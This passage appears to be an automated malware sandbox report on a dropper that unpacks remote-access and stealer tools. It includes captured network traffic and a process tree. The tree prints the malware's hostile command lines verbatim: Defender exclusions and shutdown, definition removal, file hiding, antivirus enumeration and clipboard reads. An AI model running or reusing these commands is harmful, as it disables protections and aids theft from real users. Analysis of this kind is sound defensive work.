e9 9d c2 f3 e9 25 fe a4 0e 6e be 35 31 64 df a1 7f f3 cb 17 65 e1 a6 39 33 84 Data Ascii: ^u5k)Di;cqJ,DOBXmNx1l<'473eaeH:""ReJgH,1W7_xE#k4QuyP(+2yCfY#4[\|<[XP[Y3(fE@e1l"cOOXA%n51de93
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 18 22 6a f6 9d a8 77 11 57 ec c8 c0 8e 9a 2f 42 4c 3e 87 3c 93 6b dc c3 84 44 02 32 0a 82 b1 c7 e4 29 b5 89 96 84 20 c8 9f b0 73 46 0c c4 fb c6 6d d4 4d 81 13 fc db d9 a8 d6 5d 4a a8 b2 fd d6 f8 03 20 5c da bd 87 7d c0 15 c6 3e 96 45 9b 34 b6 12 fe 4e 32 27 33 d6 cb 81 89 f5 9d 12 93 32 c9 5b 73 a9 66 9c 7b cd 0f db 66 e7 1b b6 76 ac 31 fd af 40 27 f3 e2 25 da 5a ac 2e ed 81 3d 00 38 a7 9f 24 2c 3e 5c 39 6f 39 a8 e2 7d 5f 6a d2 8d 4b 57 ed 02 8d c9 9f 51 ab 9f de b9 4c 67 03 8c e3 f9 bb fe e4 af b4 49 36 60 52 fb bb 96 36 17 f3 98 0b 16 d5 50 ee 0b 01 0e 5a d5 1a 41 49 fc e7 9f f8 fd 09 e1 b4 ec 6b 2b 89 16 98 6f 47 04 0a 47 cf 92 7d af a3 2e 4b 27 0d f9 5b df 91 02 8b 7b 1f 6f 50 c3 f9 e8 66 f6 cb a5 53 7b 88 dd 6b 33 8d d8 4b d0 52 dc ae ac 43 5e c5 3c Data Ascii: "jwW/BL><kD2) sFmM]J \}>E4N2'32[sf{fv1@'%Z.=8$,>\9o9}_jKWQLgI6`R6PZAIk+oGG}.K'[{oPfS{k3KRC^<
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 2e e4 67 08 db ff 05 42 7a 27 fe d9 c3 50 fe 90 e0 d3 a8 c4 bf 69 92 4a ac d7 1a f1 93 96 55 3d cc 70 27 60 0c e3 50 4e 28 ba 10 69 fc 9d 16 e8 ae bb f0 6b 7c a5 ef 7d c7 f5 0b 45 5e e6 b6 ed 2a 65 f2 14 40 71 aa b3 ff e8 1b 39 bc f4 0c 5d d4 01 78 22 aa c9 5e e3 aa 95 cf 7b bd 3c 54 4d e4 72 8d 25 1c 92 ea c8 e0 60 83 90 6e b3 ab f6 f4 c3 e9 50 77 8a 0a c5 f3 1f 4e 6e 31 5b a3 b8 a2 6f 8d 1a 76 bf b7 a8 49 c8 94 1e 82 c7 74 82 39 eb d6 99 26 9d e0 5b a9 dd ca e8 72 0d f2 ea 08 ca 14 24 83 9e b7 3d 49 46 fb 96 dc 03 e1 58 4e 7e b3 95 08 51 e1 69 2a 11 a8 69 a9 f6 16 8c 51 eb 77 19 6d 42 35 da 43 08 06 18 1e 31 40 84 e9 e5 77 6c dc 77 50 8f 93 02 d3 b5 18 11 dd c8 c6 2f 1c 81 af 4b 7d 99 28 be 43 9e 3c 8b df a9 be 6b 96 fc a5 b1 91 3b 90 25 e4 d2 c5 dd 2e Data Ascii: .gBz'PiJU=p'`PN(ik\|}E^e@q9]x"^{<TMr%`nPwNn1[ovIt9&[r$=IFXN~QiiQwmB5C1@wlwP/K}(C<k;%.
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 44 a1 42 88 6e 52 fa a9 71 f9 f4 f5 9c cb 44 e2 83 14 cd 84 4e 37 c9 ab fe e6 d1 32 fe 9d 19 fd 23 b8 a5 6a a3 2f c0 a3 f8 05 5e c9 76 5e a1 e3 f5 43 5a c8 f5 00 69 72 ae 38 cd 50 ff 7b b5 f0 1a 9c 4c 24 07 e6 8d fd 50 08 9a 0b 2d e6 30 36 1e c5 c4 d1 7f 64 37 93 2f 40 64 fb f3 92 c2 35 07 50 6c 9c fb 61 7c 73 43 d8 7c 82 0e 28 91 03 a7 1f 10 30 bf 78 79 e2 c9 d1 a4 d3 a4 91 1b e5 33 e0 df 97 f7 d9 6b 80 d0 21 ab 5f fa ee 7a f1 51 c4 d8 3a d8 f5 55 a2 6b 5f f7 b6 f1 b3 85 e4 fa 89 45 ca 10 2f 0a 06 fc 10 dd 44 96 c5 4f c5 fc df d5 9a ce 29 c9 94 63 08 d9 00 d2 c2 33 57 95 b5 e3 48 28 62 96 a5 7f 5e 62 f3 fc f5 97 fc cc d6 c0 2c 40 df bd 81 e7 f4 1e 0c 9f 89 cf cf ff 13 00 86 14 92 f6 ee 88 e2 34 8f d9 fb f5 ab 30 4d 8a 64 99 71 94 07 c5 3f c2 84 4c 84 ed Data Ascii: DBnRqDN72#j/^v^CZir8P{L$P-06d7/@d5Pla\|sC\|(0xy3k!_zQ:Uk_E/DO)c3WH(b^b,@40Mdq?L
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: a2 5f 68 0e 3e 67 33 8a 78 97 48 fa a7 a5 9a 63 a7 4c 7a 79 7e 80 11 64 14 e7 01 8c cb c7 8f b1 71 09 e3 09 d0 9d f5 e3 99 87 91 53 5c 00 4c 06 4f 83 8c 17 c7 32 cc e2 89 e4 c0 65 61 7f 02 8c c8 25 17 46 c3 79 2d 72 10 96 ea 02 ae c6 1f e6 07 ad bd de 57 eb 71 da bf 1e 40 27 cb 16 e7 69 a8 d3 31 f7 88 b2 d5 ff 13 f4 b3 10 55 65 c0 a2 2e b3 4e 35 10 0b d2 75 da ad 9c b6 c5 44 17 84 2f 15 7c e7 a5 46 71 5a 55 c6 96 f9 77 d2 2c 82 ab a9 29 37 49 bc 1c d5 f3 df e4 83 04 2c 9f e4 53 f2 ec cd 54 1b 6c b8 ad 0d db 23 18 31 23 c0 f8 ca df a7 b0 2b 06 b9 01 02 52 f5 d1 b3 fe 61 1f 3b 14 5b 90 ec 10 00 e4 73 3c 37 90 2c 52 2e 46 73 78 17 00 e4 2d 78 63 51 1e 56 82 4b 2d be 69 f5 65 6b fc 80 ac c6 ed 04 3f 00 9d 03 87 27 49 ad 68 61 38 db c8 67 d7 24 fd 2d fd a6 f9 Data Ascii: _h>g3xHcLzy~dqS\LO2ea%Fy-rWq@'i1Ue.N5uD/\|FqZUw,)7I,STl#1#+Ra;[s<7,R.Fsx-xcQVK-iek?'Iha8g$-
2024-06-20 17:07:35 UTC	16384	OUT	Data Raw: 81 f2 0d 4f ba ac 53 86 f7 a9 d8 b6 1e be 77 ee 02 1f ce 6b 08 ce e5 95 21 d6 47 ce d0 3c 93 fa 60 e6 70 a8 4c a4 39 5c ad 9e 6f c2 ca c2 88 21 63 88 e7 39 68 91 52 40 0b a8 1d 08 d5 03 25 93 ec c9 98 3a 40 5c 14 a0 89 6f 24 bf c9 3a 6f 22 1d 46 d2 2a d7 1e 10 4e 01 96 36 78 bf 0d 0b b4 ce 34 f7 82 b1 d5 17 76 a6 96 04 dc 7d 46 e9 9a 10 3d b6 6b 96 40 f0 99 4a b5 44 74 ba ee 4b 30 ae ed 6b 80 5b dd 2f 0e fd d9 15 53 15 ad 05 23 8c b2 28 ad be 03 68 1a 2d 95 58 d0 4f e3 9c 1c f1 da de c0 9b a4 13 72 22 6b e8 56 af ec 8b d6 8e d7 58 a8 b5 d8 41 59 39 2b c5 7d 68 e6 dc e9 4e 25 be 09 25 e9 13 89 90 36 2d e2 9f ee 5f 32 2e a0 79 52 d5 dc 2a b5 bd e6 7f bd c3 66 87 f2 ca 9f cc 36 e4 65 f0 66 3e 48 a1 6e 89 f7 9a af 6e df aa f8 c8 bb 3d c3 dd 98 b4 da 9e 54 87 Data Ascii: OSwk!G<`pL9\o!c9hR@%:@\o$:o"FN6x4v}F=k@JDtK0k[/S#(h-XOr"kVXAY9+}hN%%6-_2.yRf6ef>Hnn=T
2024-06-20 17:07:35 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 20 Jun 2024 17:07:35 GMT Content-Type: application/json Content-Length: 1654 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	185.199.108.133	443	7140	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 17:07:38 UTC	111	OUT	GET /quivings/Solara/main/Storage/version.txt HTTP/1.1 User-Agent: Solara Host: raw.githubusercontent.com
2024-06-20 17:07:38 UTC	894	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "6add8346e800bb44e0a7418598bdbf2c729e99a21fbd596377f8c87ccbb8f366" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 203E:14009E:61767:6E130:6673C4B7 Accept-Ranges: bytes Date: Thu, 20 Jun 2024 17:07:38 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890070-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1718903258.072713,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 61f017b6c153cb704e838cab861af2d033059837 Expires: Thu, 20 Jun 2024 17:12:38 GMT Source-Age: 69
2024-06-20 17:07:38 UTC	5	IN	Data Raw: 32 2e 33 38 0a Data Ascii: 2.38

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49722	185.199.108.133	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 17:07:39 UTC	115	OUT	GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-06-20 17:07:40 UTC	893	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "be7db9be1deadfdc76d20b8c3af37b22cb526ff56f85be6dc9d41c18ef6176db" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: EC7B:3D9A25:7E908:91A59:66741FF0 Accept-Ranges: bytes Date: Thu, 20 Jun 2024 17:07:39 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890029-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1718903260.978790,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d5e2d1fbe751420cafd79be2fe5b78d3ddc17782 Expires: Thu, 20 Jun 2024 17:12:39 GMT Source-Age: 0
2024-06-20 17:07:40 UTC	2	IN	Data Raw: 6e 0a Data Ascii: n

Target ID:	0
Start time:	13:06:58
Start date:	20/06/2024
Path:	C:\Users\user\Desktop\6tGWMkdYv4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6tGWMkdYv4.exe"
Imagebase:	0x400000
File size:	12'000'768 bytes
MD5 hash:	34CB7FCA8CB671327865D0BCF6DE72BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:06:59
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x10.exe"
Imagebase:	0x400000
File size:	11'992'576 bytes
MD5 hash:	B93FC536DF3C66E783FCBB9071DB7545
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:07:00
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x9.exe"
Imagebase:	0x400000
File size:	11'985'408 bytes
MD5 hash:	7E5F18A5C7EB009E54AE4FC6127E864C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:07:01
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x8.exe"
Imagebase:	0x400000
File size:	11'977'216 bytes
MD5 hash:	DD97AAB085B140B715DD1A52038E3C70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:07:02
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x7.exe"
Imagebase:	0x400000
File size:	11'970'048 bytes
MD5 hash:	0E9FEE8861C55C0EBADC5F678FBD8A9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:07:04
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x6.exe"
Imagebase:	0x400000
File size:	11'961'856 bytes
MD5 hash:	61F5D17C10DE6541139134FB7058F88E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:07:05
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x5.exe"
Imagebase:	0x400000
File size:	11'955'200 bytes
MD5 hash:	8DBEE0CB9B7550432DF6BEB4D9EA5CF0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:07:06
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\x4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x4.exe"
Imagebase:	0x400000
File size:	11'947'008 bytes
MD5 hash:	609A00E116060457295CE9293E6E3B3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:07:07
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"
Imagebase:	0x400000
File size:	11'960'320 bytes
MD5 hash:	108590051FAB4871AF861B8B12AD1E96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:07:07
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Imagebase:	0xfc0000
File size:	4'552'800 bytes
MD5 hash:	2EDB71DD3792B6F6A774EDBF67BB78D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:07:08
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Imagebase:	0xf90000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:07:09
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\Built.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Built.exe"
Imagebase:	0x7ff73d9b0000
File size:	25'165'824 bytes
MD5 hash:	68D3EA3AFA53DEDFD3593D140747B932
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 0000000C.00000003.2148834992.000001FCC2743000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:07:09
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Imagebase:	0x660000
File size:	13'312 bytes
MD5 hash:	6557BD5240397F026E675AFB78544A26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:07:09
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:07:11
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\Built.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Built.exe"
Imagebase:	0x7ff73d9b0000
File size:	25'165'824 bytes
MD5 hash:	68D3EA3AFA53DEDFD3593D140747B932
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe""
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Imagebase:	0x7ff64dca0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:07:12
Start date:	20/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:07:13
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:07:13
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 360, Parent PID: 2604

General

Target ID:	30
Start time:	13:07:13
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:07:13
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:07:13
Start date:	20/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7d7610000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7d7610000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7304, Parent PID: 6648

General

Target ID:	39
Start time:	13:07:14
Start date:	20/06/2024
